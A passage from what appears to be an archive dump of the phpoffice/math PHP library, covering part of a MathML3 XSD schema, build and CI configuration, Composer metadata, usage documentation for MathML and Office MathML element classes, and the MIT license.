   <xs:element name="mstack" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MstackExpression"/>
         <xs:attributeGroup ref="m:mstack.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mstack.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="align">
         <xs:simpleType>
            <xs:restriction base="xs:string">
               <xs:pattern value="\s*(top|bottom|center|baseline|axis)(\s+-?[0-9]+)?\s*"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="stackalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="decimalpoint"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="charalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="charspacing">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="loose"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="medium"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="tight"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="mlongdiv" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MstackExpression"/>
            <xs:group ref="m:MstackExpression"/>
            <xs:group maxOccurs="unbounded" ref="m:MstackExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mlongdiv.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mlongdiv.attributes">
      <xs:attributeGroup ref="m:msgroup.attributes"/>
      <xs:attribute name="longdivstyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="lefttop"/>
               <xs:enumeration value="stackedrightright"/>
               <xs:enumeration value="mediumstackedrightright"/>
               <xs:enumeration value="shortstackedrightright"/>
               <xs:enumeration value="righttop"/>
               <xs:enumeration value="left/\right"/>
               <xs:enumeration value="left)(right"/>
               <xs:enumeration value=":right=right"/>
               <xs:enumeration value="stackedleftleft"/>
               <xs:enumeration value="stackedleftlinetop"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="msgroup">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MstackExpression"/>
         <xs:attributeGroup ref="m:msgroup.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msgroup.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="position" type="m:integer"/>
      <xs:attribute name="shift" type="m:integer"/>
   </xs:attributeGroup>
   <xs:element name="msrow">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MsrowExpression"/>
         <xs:attributeGroup ref="m:msrow.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msrow.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="position" type="m:integer"/>
   </xs:attributeGroup>
   <xs:element name="mscarries">
      <xs:complexType>
         <xs:choice minOccurs="0" maxOccurs="unbounded">
            <xs:group ref="m:MsrowExpression"/>
            <xs:element ref="m:mscarry"/>
         </xs:choice>
         <xs:attributeGroup ref="m:mscarries.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mscarries.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="position" type="m:integer"/>
      <xs:attribute name="location">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="w"/>
               <xs:enumeration value="nw"/>
               <xs:enumeration value="n"/>
               <xs:enumeration value="ne"/>
               <xs:enumeration value="e"/>
               <xs:enumeration value="se"/>
               <xs:enumeration value="s"/>
               <xs:enumeration value="sw"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="crossout">
         <xs:simpleType>
            <xs:list>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="none"/>
                     <xs:enumeration value="updiagonalstrike"/>
                     <xs:enumeration value="downdiagonalstrike"/>
                     <xs:enumeration value="verticalstrike"/>
                     <xs:enumeration value="horizontalstrike"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:list>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="scriptsizemultiplier" type="m:number"/>
   </xs:attributeGroup>
   <xs:element name="mscarry">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MsrowExpression"/>
         <xs:attributeGroup ref="m:mscarry.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mscarry.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="location">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="w"/>
               <xs:enumeration value="nw"/>
               <xs:enumeration value="n"/>
               <xs:enumeration value="ne"/>
               <xs:enumeration value="e"/>
               <xs:enumeration value="se"/>
               <xs:enumeration value="s"/>
               <xs:enumeration value="sw"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="crossout">
         <xs:simpleType>
            <xs:list>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="none"/>
                     <xs:enumeration value="updiagonalstrike"/>
                     <xs:enumeration value="downdiagonalstrike"/>
                     <xs:enumeration value="verticalstrike"/>
                     <xs:enumeration value="horizontalstrike"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:list>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="maction" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:group maxOccurs="unbounded" ref="m:MathExpression"/>
         <xs:attributeGroup ref="m:maction.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="maction.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="actiontype" use="required"/>
      <xs:attribute name="selection" type="m:positive-integer"/>
   </xs:attributeGroup>
</xs:schema>vendor/phpoffice/math/tests/resources/schema/mathml3/mathml3.xsd000066600000000622151150442740021012 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:m="http://www.w3.org/1998/Math/MathML" elementFormDefault="qualified" targetNamespace="http://www.w3.org/1998/Math/MathML">
   <xs:include schemaLocation="mathml3-content.xsd"/>
   <xs:include schemaLocation="mathml3-presentation.xsd"/>
   <xs:include schemaLocation="mathml3-common.xsd"/>
</xs:schema>vendor/phpoffice/math/mkdocs.yml000066600000003233151150442740012750 0ustar00site_name: Math
site_url: https://phpoffice.github.io/Math
repo_url: https://github.com/PHPOffice/Math
repo_name: PHPOffice/Math
edit_uri: edit/master/docs/

## Theme
theme:
  name: material
  palette:
    primary: grey
  features:
    - search.highlight
    - search.suggest

## Plugins
plugins:
  - search

## Config
extra:
  generator: false
extra_javascript:
  - assets/mathjax.js
  - https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js?version=3.111.0&features=es6
  - https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js
markdown_extensions:
  ## Syntax highlighting
  - pymdownx.highlight
  - pymdownx.superfences
  ## Support for Math
  - pymdownx.arithmatex:
      generic: true
  ## Support for emojis
  - pymdownx.emoji:
      emoji_index: !!python/name:materialx.emoji.twemoji
      emoji_generator: !!python/name:materialx.emoji.to_svg
  ## Support for call-outs
  - admonition
  - pymdownx.details
use_directory_urls: false

## Navigation
nav:
  - Introduction: 'index.md'
  - Install: 'install.md'
  - Usage:
    - Elements: 
      - Fraction: 'usage/elements/fraction.md'
      - Identifier: 'usage/elements/identifier.md'
      - Numeric: 'usage/elements/numeric.md'
      - Operator: 'usage/elements/operator.md'
      - Row: 'usage/elements/row.md'
      - Semantics: 'usage/elements/semantics.md'
      - Superscript: 'usage/elements/superscript.md'
    - Readers: 'usage/readers.md'
    - Writers: 'usage/writers.md'
  - Credits: 'credits.md'
  - Releases:
      - '0.1.0 (WIP)': 'changes/0.1.0.md'
  - Developers:
    - 'Coveralls': 'https://coveralls.io/github/PHPOffice/Math'
    - 'Code Coverage': 'coverage/index.html'
    - 'PHPDoc': 'docs/index.html'
vendor/phpoffice/math/roave-bc-check.yaml000066600000000217151150442740014401 0ustar00parameters:
    ignoreErrors:
      # 0.1 has not autoload-dev
        - '#\[BC\] REMOVED: Class Tests\\PhpOffice\\Math\\.+ has been deleted#'
vendor/phpoffice/math/composer.json000066600000001422151150442740013465 0ustar00{
    "name": "phpoffice/math",
    "description": "Math - Manipulate Math Formula",
    "keywords": ["PHP","mathml", "officemathml"],
    "homepage": "https://phpoffice.github.io/Math/",
    "type": "library",
    "license": "MIT",
    "autoload": {
        "psr-4": {
            "PhpOffice\\Math\\": "src/Math/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\PhpOffice\\Math\\": "tests/Math/"
        }
    },
    "authors": [
        {
            "name": "Progi1984",
            "homepage": "https://lefevre.dev"
        }
    ],
    "require": {
        "php": "^7.1|^8.0",
        "ext-dom": "*",
        "ext-xml": "*"
    },
    "require-dev": {
        "phpunit/phpunit": "^7.0 || ^9.0",
        "phpstan/phpstan": "^0.12.88 || ^1.0.0"
    }
}
vendor/phpoffice/math/.gitignore000066600000000171151150442740012733 0ustar00.php_cs.cache
.php-cs-fixer.cache
.phpunit.cache
.phpunit.result.cache
composer.lock
phpDocumentor.phar

public/
vendor/
vendor/phpoffice/math/.github/dependabot.yml000066600000000344151150442740015135 0ustar00version: 2
updates:
    - package-ecosystem: "composer"
      directory: "/"
      schedule:
          interval: "daily"

    - package-ecosystem: "github-actions"
      directory: "/"
      schedule:
          interval: "daily"vendor/phpoffice/math/.github/workflows/deploy.yml000066600000003054151150442740016362 0ustar00name: Deploy

on:
  push:
    branches: 
      - master
  pull_request:

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      ### MkDocs
      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: 3.x
      - name: Install Python Dependencies
        run: pip install mkdocs-material autolink-references-mkdocs-plugin
      - name: Build documentation
        run: mkdocs build --site-dir public
      ### PHPUnit
      - name: Setup PHP
        uses: shivammathur/setup-php@v2
        with:
          php-version: 8.1
          extensions: dom, xml
          coverage: xdebug
      - name: Create directory public/coverage
        run: mkdir ./public/coverage
      - name: Install PHP Dependencies
        run: composer install --ansi --prefer-dist --no-interaction --no-progress
      - name: Build Coverage Report
        run: XDEBUG_MODE=coverage ./vendor/bin/phpunit -c ./ --coverage-text --coverage-html ./public/coverage
        ### PHPDoc
      - name: Create directory public/docs
        run: mkdir ./public/docs
      - name: Install PhpDocumentor
        run: wget https://phpdoc.org/phpDocumentor.phar && chmod +x phpDocumentor.phar
      - name: Build Documentation
        run: ./phpDocumentor.phar run -d ./src -t ./public/docs

      ### Deploy
      - name: Deploy
        uses: peaceiris/actions-gh-pages@v4
        if: github.ref == 'refs/heads/master'
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./publicvendor/phpoffice/math/.github/workflows/php.yml000066600000006156151150442740015663 0ustar00name: PHP
on: 
    push:
        branches:
            - master
    pull_request:

jobs:
  php-cs-fixer:
    name: PHP CS Fixer
    runs-on: ubuntu-latest
    steps:
      - name: Setup PHP
        uses: shivammathur/setup-php@v2
        with:
          php-version: '7.4'
          extensions: xml

      - uses: actions/checkout@v4

      -   name: Validate composer config
          run: composer validate --strict

      -   name: Composer Install
          run: composer global require friendsofphp/php-cs-fixer

      -   name: Add environment path
          run: export PATH="$PATH:$HOME/.composer/vendor/bin"

      -   name: Run PHPCSFixer
          run: php-cs-fixer fix --dry-run --diff

  phpstan:
    name: PHP Static Analysis
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        php: 
            - '7.1'
            - '7.2'
            - '7.3'
            - '7.4'
            - '8.0'
            - '8.1'
            - '8.2'
            - '8.3'
    steps:
        -   name: Setup PHP
            uses: shivammathur/setup-php@v2
            with:
                php-version: ${{ matrix.php }}
                extensions: xml

        -   uses: actions/checkout@v4

        -   name: Composer Install
            run: composer install --ansi --prefer-dist --no-interaction --no-progress

        -   name: Run phpstan
            run: ./vendor/bin/phpstan analyse -c phpstan.neon.dist

  phpunit:
    name: PHPUnit
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        php: 
            - '7.1'
            - '7.2'
            - '7.3'
            - '7.4'
            - '8.0'
            - '8.1'
            - '8.2'
            - '8.3'
    steps:
      -   name: Setup PHP
          uses: shivammathur/setup-php@v2
          with:
              php-version: ${{ matrix.php }}
              extensions: xml
              coverage: ${{ (matrix.php == '8.1') && 'xdebug' || 'none' }}

      -   uses: actions/checkout@v4

      -   name: Install dependencies
          run: composer install --ansi --prefer-dist --no-interaction --no-progress

      -   name: Run PHPUnit
          if: matrix.php != '8.1'
          run: ./vendor/bin/phpunit -c phpunit.xml.dist

      -   name: Run PHPUnit (w CodeCoverage)
          if: matrix.php == '8.1'
          run: XDEBUG_MODE=coverage ./vendor/bin/phpunit -c phpunit.xml.dist --coverage-clover build/clover.xml

      -   name: Upload coverage results to Coveralls
          if: matrix.php == '8.1'
          env:
            COVERALLS_REPO_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          run: |
            wget https://github.com/php-coveralls/php-coveralls/releases/download/v2.4.3/php-coveralls.phar
            chmod +x php-coveralls.phar
            php php-coveralls.phar --coverage_clover=build/clover.xml --json_path=build/coveralls-upload.json -vvv

  roave-backwards-compatibility-check:
    name: Roave Backwards Compatibility Check
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - name: "Check for BC breaks"
        run: docker run -u $(id -u) -v $(pwd):/app nyholm/roave-bc-check-ga
vendor/phpoffice/math/docs/install.md000066600000000754151150442740013672 0ustar00# Installation

## Requirements

Mandatory:

-  PHP 7.1+
-  PHP [DOM extension](http://php.net/manual/en/book.dom.php)
-  PHP [XML Parser extension](http://www.php.net/manual/en/xml.installation.php)
-  PHP [XMLWriter extension](http://php.net/manual/en/book.xmlwriter.php)


## Installation

### Using Composer

To install via [Composer](http://getcomposer.org), add the following lines to your `composer.json`:

``` json
{
    "require": {
        "phpoffice/math": "dev-master"
    }
}
```vendor/phpoffice/math/docs/assets/mathjax.js000066600000000514151150442740015170 0ustar00window.MathJax = {
    tex: {
      inlineMath: [["\\(", "\\)"]],
      displayMath: [["\\[", "\\]"]],
      processEscapes: true,
      processEnvironments: true
    },
    options: {
      ignoreHtmlClass: ".*|",
      processHtmlClass: "arithmatex"
    }
  };
  
  document$.subscribe(() => {
    MathJax.typesetPromise()
  })
  vendor/phpoffice/math/docs/changes/0.1.0.md000066600000002203151150442740014257 0ustar00# 0.1.0

## Enhancements

- Initial version by [@Progi1984](https://github/Progi1984)
- MathML Reader : Support for Semantics by [@Progi1984](https://github/Progi1984) in [#4](https://github.com/PHPOffice/Math/pull/4)
- PHPUnit : Improved Unit Tests by [@Progi1984](https://github/Progi1984) in [#8](https://github.com/PHPOffice/Math/pull/8)

## Bug fixes

- N/A

## Miscellaneous
- Github Actions : PHPCSFixer by [@Progi1984](https://github/Progi1984) in [#1](https://github.com/PHPOffice/Math/pull/1)
- Github Actions : PHPStan by [@Progi1984](https://github/Progi1984) in [#2](https://github.com/PHPOffice/Math/pull/2)
- Removed dependency friendsofphp/php-cs-fixer by [@Progi1984](https://github/Progi1984) in [#3](https://github.com/PHPOffice/Math/pull/3)
- Github Actions : Dependabot by [@Progi1984](https://github/Progi1984) in [#5](https://github.com/PHPOffice/Math/pull/5)
- Bump actions/checkout from 2 to 4 by [@dependabot](https://github/dependabot) in [#6](https://github.com/PHPOffice/Math/pull/6)
- Added documentation (MkDocs / Coverage / PHPDoc) by [@Progi1984](https://github/Progi1984) in [#7](https://github.com/PHPOffice/Math/pull/7)vendor/phpoffice/math/docs/changes/0.2.0.md000066600000001552151150442740014266 0ustar00# 0.2.0

## Enhancements

- N/A

## Bug fixes

- MathML Reader : Support for mrow in mfrac by [@Progi1984](https://github/Progi1984) in [#16](https://github.com/PHPOffice/Math/pull/16)

## Miscellaneous

- Github Action : Roave BC Check by [@Progi1984](https://github/Progi1984) in [#9](https://github.com/PHPOffice/Math/pull/9)
- Bump actions/checkout from 2 to 4 by [@dependabot](https://github/dependabot) in [#10](https://github.com/PHPOffice/Math/pull/10)
- Bump actions/setup-python from 2 to 4 by [@dependabot](https://github/dependabot) in [#11](https://github.com/PHPOffice/Math/pull/11)
- Bump actions/setup-python from 4 to 5 by [@dependabot](https://github/dependabot) in [#12](https://github.com/PHPOffice/Math/pull/12)
- Bump peaceiris/actions-gh-pages from 3 to 4 by [@dependabot](https://github/dependabot) in [#13](https://github.com/PHPOffice/Math/pull/13)vendor/phpoffice/math/docs/index.md000066600000006434151150442740013334 0ustar00#

Math is a library written in pure PHP that provides a set of classes to manipulate different formula file formats, i.e. [MathML](https://en.wikipedia.org/wiki/MathML) and [Office MathML (OOML)](https://en.wikipedia.org/wiki/Office_Open_XML_file_formats#Office_MathML_(OMML)).

Math is an open source project licensed under the terms of [MIT](https://github.com/PHPOffice/Math/blob/master/LICENCE). Math is aimed to be a high quality software product by incorporating [continuous integration and unit testing](https://github.com/PHPOffice/Math/actions/workflows/php.yml). You can learn more about Math by reading this Developers'Documentation and the [API Documentation](http://phpoffice.github.io/Math/docs/develop/)

## Features

- Insert elements:

    * Basic :

        * Identifier : <math display="inline"><mi>a</mi></math>
        * Operator : <math display="inline"><mo>+</mo></math>
        * Numeric : <math display="inline"><mn>2</mn></math>

    * Simple :
    
        * Fraction : <math display="inline"><mfrac><mi>a</mi><mn>3</mn></mfrac></math>
        * Superscript : <math display="inline"><msup><mi>a</mi><mn>3</mn></msup></math>

    * Architectural :

        * Row
        * Semantics

## Support

### Readers

| Features                  |                      | MathML           | Office MathML    |
|---------------------------|----------------------|:----------------:|:----------------:|
| **Basic**                 | Identifier           | :material-check: | :material-check: |
|                           | Operator             | :material-check: | :material-check: |
|                           | Numeric              | :material-check: | :material-check: |
| **Simple**                | Fraction             | :material-check: | :material-check: |
|                           | Superscript          | :material-check: |                  |
| **Architectural**         | Row                  | :material-check: |                  |
|                           | Semantics            | :material-check: |                  |

### Writers

| Features                  |                      | MathML           | Office MathML    |
|---------------------------|----------------------|:----------------:|:----------------:|
| **Basic**                 | Identifier           | :material-check: | :material-check: |
|                           | Operator             | :material-check: | :material-check: |
|                           | Numeric              | :material-check: | :material-check: |
| **Simple**                | Fraction             | :material-check: | :material-check: |
|                           | Superscript          | :material-check: |                  |
| **Architectural**         | Row                  | :material-check: | :material-check: |
|                           | Semantics            |                  |                  |

## Contributing

We welcome everyone to contribute to Math. Below are some of the things that you can do to contribute:

-  [Fork us](https://github.com/PHPOffice/Math/fork) and [request a pull](https://github.com/PHPOffice/Math/pulls) to the [master](https://github.com/PHPOffice/Math/tree/master) branch
-  Submit [bug reports or feature requests](https://github.com/PHPOffice/Math/issues) to GitHub
-  Follow [@PHPOffice](https://twitter.com/PHPOffice) on Twitter
vendor/phpoffice/math/docs/usage/elements/semantics.md000066600000002724151150442740017131 0ustar00## Usage

To create a semantics, use the `PhpOffice\Math\Element\Semantics` class.

### Methods
#### add

The method add an element to the `semantics` element.
The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

#### addAnnotation

The method add an annotation to the `semantics` element.
The method has two parameters : 

* `string` **$encoding**
* `string` **$annotation**

#### getAnnotation

The method return an annotation based on its encoding.
The method has one parameter : 

* `string` **$encoding**

#### getAnnotations

The method return alls annotation of the `semantics` element.
The method has no parameter.

#### getElements

The method return all elements of the `semantics` element.

#### remove

The method remove an element to the `semantics` element.
The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

## Example

### Math
<math display="block">
  <semantics>
    <mi>y</mi>
    
    <annotation encoding="application/x-tex"> y </annotation>
  </semantics>
</math>

### XML
``` xml
<math display="block">
  <semantics>
    <mi>y</mi>
    
    <annotation encoding="application/x-tex"> y </annotation>
  </semantics>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$semantics = new Element\Semantics();
$semantics->add(new Element\Identifier('y'));
$semantics->addAnnotation('application/x-tex', ' y ');

$math->add($semantics);
```vendor/phpoffice/math/docs/usage/elements/superscript.md000066600000001613151150442740017522 0ustar00## Usage

To attach a superscript to an expression, use the `PhpOffice\Math\Element\Superscript` class.

### Methods
#### getBase

The method has no parameter.

#### getSuperscript

The method has no parameter.

#### setBase

The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

#### setSuperscript

The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

## Example

### Math
<math display="block">
  <msup>
    <mi>X</mi>
    <mn>2</mn>
  </msup>
</math>

### XML
``` xml
<math display="block">
  <msup>
    <mi>X</mi>
    <mn>2</mn>
  </msup>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$superscript = new Element\Superscript();
$superscript->setBase(new Element\Identifier('X'));
$superscript->setSuperscript(new Element\Numeric(2));

$math->add($superscript);
```vendor/phpoffice/math/docs/usage/elements/identifier.md000066600000001005151150442740017254 0ustar00## Usage

To create an identifier, use the `PhpOffice\Math\Element\Identifier` class.

### Methods
#### getValue

The method has no parameter.

#### setValue

The method has one parameter : 

* `string` **$value**

## Example

### Math
<math display="block">
  <mi>a</mi>
</math>

### XML
``` xml
<math display="block">
  <mi>a</mi>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$identifier = new Element\Identifier('a');

$math->add($identifier);
```vendor/phpoffice/math/docs/usage/elements/row.md000066600000001631151150442740015746 0ustar00## Usage

To create a row, use the `PhpOffice\Math\Element\Row` class.

### Methods
#### add

The method add an element to the row.
The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

#### getElements

The method return all elements of the row.

#### remove

The method remove an element to the row.
The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

## Example

### Math
<math display="block">
  <mrow>
    <mn>1</mn>
    <mo>+</mo>
    <mi>K</mi>
  </mrow>
</math>

### XML
``` xml
<math display="block">
  <mrow>
    <mn>1</mn>
    <mo>+</mo>
    <mi>K</mi>
  </mrow>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$row = new Element\Row();
$row->add(new Element\Numeric(1));
$row->add(new Element\Operator('+'));
$row->add(new Element\Identifier('K'));

$math->add($row);
```vendor/phpoffice/math/docs/usage/elements/numeric.md000066600000000770151150442740016604 0ustar00## Usage

To create a numeric, use the `PhpOffice\Math\Element\Numeric` class.

### Methods
#### getValue

The method has no parameter.

#### setValue

The method has one parameter : 

* `float` **$value**

## Example

### Math
<math display="block">
  <mn>3</mn>
</math>

### XML
``` xml
<math display="block">
  <mn>3</mn>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$identifier = new Element\Numeric(3);

$math->add($identifier);
```vendor/phpoffice/math/docs/usage/elements/fraction.md000066600000001600151150442740016740 0ustar00## Usage

To create a fraction, use the `PhpOffice\Math\Element\Fraction` class.

### Methods
#### getDenominator

The method has no parameter.

#### getNumerator

The method has no parameter.

#### setDenominator

The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

#### setNumerator

The method has one parameter : 

* `PhpOffice\Math\Element\AbstractElement` **$element**

## Example

### Math
<math display="block">
  <mfrac>
      <mi>a</mi>
      <mn>3</mn>
  </mfrac>
</math>

### XML
``` xml
<math display="block">
  <mfrac>
      <mi>a</mi>
      <mn>3</mn>
  </mfrac>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$fraction = new Element\Fraction();
$fraction->setDenominator(new Element\Identifier('a'));
$fraction->setNumerator(new Element\Numeric(3));

$math->add($fraction);
```vendor/phpoffice/math/docs/usage/elements/operator.md000066600000000777151150442740017004 0ustar00## Usage

To create an operator, use the `PhpOffice\Math\Element\Operator` class.

### Methods
#### getValue

The method has no parameter.

#### setValue

The method has one parameter : 

* `string` **$value**

## Example

### Math
<math display="block">
  <mo>+</mo>
</math>

### XML
``` xml
<math display="block">
  <mo>+</mo>
</math>
```

### PHP

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;

$math = new Math();

$identifier = new Element\Operator('+');

$math->add($identifier);
```vendor/phpoffice/math/docs/usage/writers.md000066600000001300151150442740015013 0ustar00
## Writers
### MathML
The name of the writer is `MathML`.

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;
use PhpOffice\Math\Writer\MathML;

$math = new Math();
$math->add(new Element\Operator('+'));

$writer = new MathML();
$output = $writer->write($math);
```

### OfficeMathML

The name of the writer is `OfficeMathML`.

``` php
<?php

use PhpOffice\Math\Element;
use PhpOffice\Math\Math;
use PhpOffice\Math\Writer\OfficeMathML;

$math = new Math();
$math->add(new Element\Operator('+'));

$writer = new OfficeMathML();
$output = $writer->write($math);
```

## Methods

### writer

The method has one parameter :

* `PhpOffice\Math\Math` **$math**

The method returns a `string`.vendor/phpoffice/math/docs/usage/readers.md000066600000001717151150442740014755 0ustar00
## Readers
### MathML
The name of the reader is `MathML`.

``` php
<?php

use PhpOffice\Math\Reader\MathML;

$reader = new MathML();
$math = $reader->read(
   '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">
    <math xmlns="http://www.w3.org/1998/Math/MathML">
        <mi> a </mi>
    </math>'
);
```

### OfficeMathML
The name of the reader is `OfficeMathML`.

``` php
<?php

use PhpOffice\Math\Reader\OfficeMathML;

$reader = new OfficeMathML();
$math = $reader->read(
   '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">
      <m:oMath>
        <m:f>
          <m:num><m:r><m:t>π</m:t></m:r></m:num>
          <m:den><m:r><m:t>2</m:t></m:r></m:den>
        </m:f>
      </m:oMath>
    </m:oMathPara>'
);
```

## Methods

### read

The method has one parameter :

* `string` **$content**

The method returns a `PhpOffice\Math\Math` object.vendor/phpoffice/math/docs/credits.md000066600000000164151150442740013654 0ustar00## References

### MathML

- [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/MathML)

### OfficeMathML

vendor/phpoffice/math/phpunit.xml.dist000066600000001606151150442740014122 0ustar00<phpunit backupGlobals="false"
         backupStaticAttributes="false"
         bootstrap="./vendor/autoload.php"
         colors="true"
         convertErrorsToExceptions="true"
         convertNoticesToExceptions="true"
         convertWarningsToExceptions="true"
         processIsolation="false"
         stopOnFailure="false">
    <testsuites>
        <testsuite name="PhpOffice\Math Test Suite">
            <directory>./tests/Math</directory>
        </testsuite>
    </testsuites>
    <filter>
        <whitelist>
            <directory suffix=".php">./src</directory>
        </whitelist>
    </filter>
    <logging>
        <log type="coverage-html" target="./build/coverage" />
        <log type="coverage-clover" target="./build/clover.xml" />
    </logging>
    <coverage>
        <include>
            <directory suffix=".php">src</directory>
        </include>
    </coverage>
</phpunit>vendor/phpoffice/math/LICENSE000066600000002066151150442740011755 0ustar00MIT License

Copyright (c) 2019 PhpSpreadsheet Authors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.vendor/phpoffice/math/.php-cs-fixer.dist.php000066600000002371151150442740015005 0ustar00<?php

$config = new PhpCsFixer\Config();

$config
    ->setUsingCache(true)
    ->setRiskyAllowed(true)
    ->setRules([
        '@Symfony' => true,
        'array_indentation' => true,
        'cast_spaces' => [
            'space' => 'single',
        ],
        'combine_consecutive_issets' => true,
        'concat_space' => [
            'spacing' => 'one',
        ],
        'error_suppression' => [
